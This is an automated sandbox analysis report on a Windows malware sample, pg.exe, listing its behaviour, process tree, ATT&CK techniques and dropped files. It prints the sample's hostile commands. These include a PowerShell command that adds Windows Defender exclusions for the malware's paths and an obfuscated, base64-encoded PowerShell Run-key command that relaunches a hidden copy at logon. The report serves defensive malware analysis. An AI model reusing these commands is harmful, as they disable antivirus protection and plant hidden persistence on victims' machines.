329cb3582506bc7b7da039b4f75ea2a2ccdb45f8b8ad6817fd52fbe2e975b0e8

Analysis

max time kernel
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
pg.exe
Size 11.5MB
Sample260805-ph549a1zbs
SHA256 329cb3582506bc7b7da039b4f75ea2a2ccdb45f8b8ad6817fd52fbe2e975b0e8
MD5 cbb907d008c300b1ba66d760d71263a8
SHA1 fc957170cafa2c8b35acefd858ec2530b52a407f
SHA512 83af53a34337d73a3081b582c6153c773a43e7aa28bb748ebb1731c8a9da6b7fbe48475a5e884bc90534c33f49de33867e9a531b9159a7ea1a8fabfad3eb9fff
SSDEEP 196608:KyNHSFPZDFrMFipIjAPbRNrFO647KW2xXyvNbHkp+FQpDfynl8jxkOWlpRmYagg:Kky7FrM4/dS37kXSNbEDpDNxEP4Yagg
TLSH
T1F0C6332DDEE8D901CAE82B739263D178D170DE81EA1F8964C1F77E833D1D13625607AA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3276	powershell.exe
1492	powershell.exe
5532	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5652	oHBrKkIt.exe
3744	oHBrKkIt.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\oHBrKkIt = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$wypmmu=$env:COMPUTERNAME;$ql35ig=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$lydcgz=Get-Date;$mi0wqy=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXG9IQnJLa0l0LmV4ZQ==')));$wypmmu=$env:COMPUTERNAME;& $ql35ig -FilePath $mi0wqy\""	pg.exe

SmartAssembly .NET packer 2 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral2/memory/4136-6-0x00000220DB8D0000-0x00000220DB8E4000-memory.dmp	SmartAssembly
behavioral2/memory/5652-39-0x000001FDDD420000-0x000001FDDD434000-memory.dmp	SmartAssembly

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4136 set thread context of 5620	4136	pg.exe	96
PID 5652 set thread context of 3744	5652	oHBrKkIt.exe	99

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5620-40-0x0000000140000000-0x00000001440A7000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4136	pg.exe
3276	powershell.exe
3276	powershell.exe
4136	pg.exe
4136	pg.exe
5532	powershell.exe
5532	powershell.exe
5532	powershell.exe
4136	pg.exe
5652	oHBrKkIt.exe
1492	powershell.exe
1492	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	pg.exe
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeDebugPrivilege	5532	powershell.exe
Token: SeIncreaseQuotaPrivilege	3276	powershell.exe
Token: SeSecurityPrivilege	3276	powershell.exe
Token: SeTakeOwnershipPrivilege	3276	powershell.exe
Token: SeLoadDriverPrivilege	3276	powershell.exe
Token: SeSystemProfilePrivilege	3276	powershell.exe
Token: SeSystemtimePrivilege	3276	powershell.exe
Token: SeProfSingleProcessPrivilege	3276	powershell.exe
Token: SeIncBasePriorityPrivilege	3276	powershell.exe
Token: SeCreatePagefilePrivilege	3276	powershell.exe
Token: SeBackupPrivilege	3276	powershell.exe
Token: SeRestorePrivilege	3276	powershell.exe
Token: SeShutdownPrivilege	3276	powershell.exe
Token: SeDebugPrivilege	3276	powershell.exe
Token: SeSystemEnvironmentPrivilege	3276	powershell.exe
Token: SeRemoteShutdownPrivilege	3276	powershell.exe
Token: SeUndockPrivilege	3276	powershell.exe
Token: SeManageVolumePrivilege	3276	powershell.exe
Token: 33	3276	powershell.exe
Token: 34	3276	powershell.exe
Token: 35	3276	powershell.exe
Token: 36	3276	powershell.exe
Token: SeDebugPrivilege	5652	oHBrKkIt.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeIncreaseQuotaPrivilege	1492	powershell.exe
Token: SeSecurityPrivilege	1492	powershell.exe
Token: SeTakeOwnershipPrivilege	1492	powershell.exe
Token: SeLoadDriverPrivilege	1492	powershell.exe
Token: SeSystemProfilePrivilege	1492	powershell.exe
Token: SeSystemtimePrivilege	1492	powershell.exe
Token: SeProfSingleProcessPrivilege	1492	powershell.exe
Token: SeIncBasePriorityPrivilege	1492	powershell.exe
Token: SeCreatePagefilePrivilege	1492	powershell.exe
Token: SeBackupPrivilege	1492	powershell.exe
Token: SeRestorePrivilege	1492	powershell.exe
Token: SeShutdownPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeSystemEnvironmentPrivilege	1492	powershell.exe
Token: SeRemoteShutdownPrivilege	1492	powershell.exe
Token: SeUndockPrivilege	1492	powershell.exe
Token: SeManageVolumePrivilege	1492	powershell.exe
Token: 33	1492	powershell.exe
Token: 34	1492	powershell.exe
Token: 35	1492	powershell.exe
Token: 36	1492	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 3276	4136	pg.exe	90
PID 5532 wrote to memory of 5652	5532	powershell.exe	95
PID 4136 wrote to memory of 5620	4136	pg.exe	96
PID 4136 wrote to memory of 5620	4136	pg.exe	96
PID 4136 wrote to memory of 5620	4136	pg.exe	96
PID 4136 wrote to memory of 5620	4136	pg.exe	96
PID 5652 wrote to memory of 1492	5652	oHBrKkIt.exe	97
PID 5652 wrote to memory of 3744	5652	oHBrKkIt.exe	99
PID 5652 wrote to memory of 3744	5652	oHBrKkIt.exe	99
PID 5652 wrote to memory of 3744	5652	oHBrKkIt.exe	99
PID 5652 wrote to memory of 3744	5652	oHBrKkIt.exe	99

C:\Users\Admin\AppData\Local\Temp\pg.exe
"C:\Users\Admin\AppData\Local\Temp\pg.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\pg.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3276
- C:\Users\Admin\AppData\Local\Temp\pg.exe
  C:\Users\Admin\AppData\Local\Temp\pg.exe
  2⤵
  PID:5620

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$wypmmu=$env:COMPUTERNAME;$ql35ig=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$lydcgz=Get-Date;$mi0wqy=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXG9IQnJLa0l0LmV4ZQ==')));$wypmmu=$env:COMPUTERNAME;& $ql35ig -FilePath $mi0wqy"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5532
- C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe
  "C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1492
- - C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe
    C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe
    3⤵
    - Executes dropped EXE
    PID:3744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0amgs5il.jo3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0amgs5il.jo3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

oHBrKkIt.exe

Path C:\Users\Admin\AppData\Roaming\oHBrKkIt.exe
Size 11.5MB
SHA256 329cb3582506bc7b7da039b4f75ea2a2ccdb45f8b8ad6817fd52fbe2e975b0e8
MD5 cbb907d008c300b1ba66d760d71263a8
SHA1 fc957170cafa2c8b35acefd858ec2530b52a407f
SHA512 83af53a34337d73a3081b582c6153c773a43e7aa28bb748ebb1731c8a9da6b7fbe48475a5e884bc90534c33f49de33867e9a531b9159a7ea1a8fabfad3eb9fff
SSDEEP 196608:KyNHSFPZDFrMFipIjAPbRNrFO647KW2xXyvNbHkp+FQpDfynl8jxkOWlpRmYagg:Kky7FrM4/dS37kXSNbEDpDNxEP4Yagg
TLSH
T1F0C6332DDEE8D901CAE82B739263D178D170DE81EA1F8964C1F77E833D1D13625607AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3276-31-0x00000228F51C0000-0x00000228F51DE000-memory.dmp

Download

memory/3276-21-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-44-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-36-0x00000228F52A0000-0x00000228F52AA000-memory.dmp

Download

memory/3276-33-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-32-0x00000228F51E0000-0x00000228F5292000-memory.dmp

Download

memory/3276-27-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-28-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-26-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-15-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-14-0x00000228F5150000-0x00000228F5172000-memory.dmp

Download

memory/3276-16-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-17-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-18-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-19-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-20-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-25-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-22-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-23-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/3276-24-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-3-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-6-0x00000220DB8D0000-0x00000220DB8E4000-memory.dmp

Download

memory/4136-10-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-9-0x00000220F6760000-0x00000220F72A8000-memory.dmp

Download

memory/4136-0-0x00007FF82623F000-0x00007FF826240000-memory.dmp

Download

memory/4136-4-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-11-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-5-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-8-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-2-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-7-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-41-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

Download

memory/4136-1-0x00000220D8F20000-0x00000220D9AA6000-memory.dmp

Download

memory/5620-40-0x0000000140000000-0x00000001440A7000-memory.dmp

Download

memory/5652-39-0x000001FDDD420000-0x000001FDDD434000-memory.dmp

Download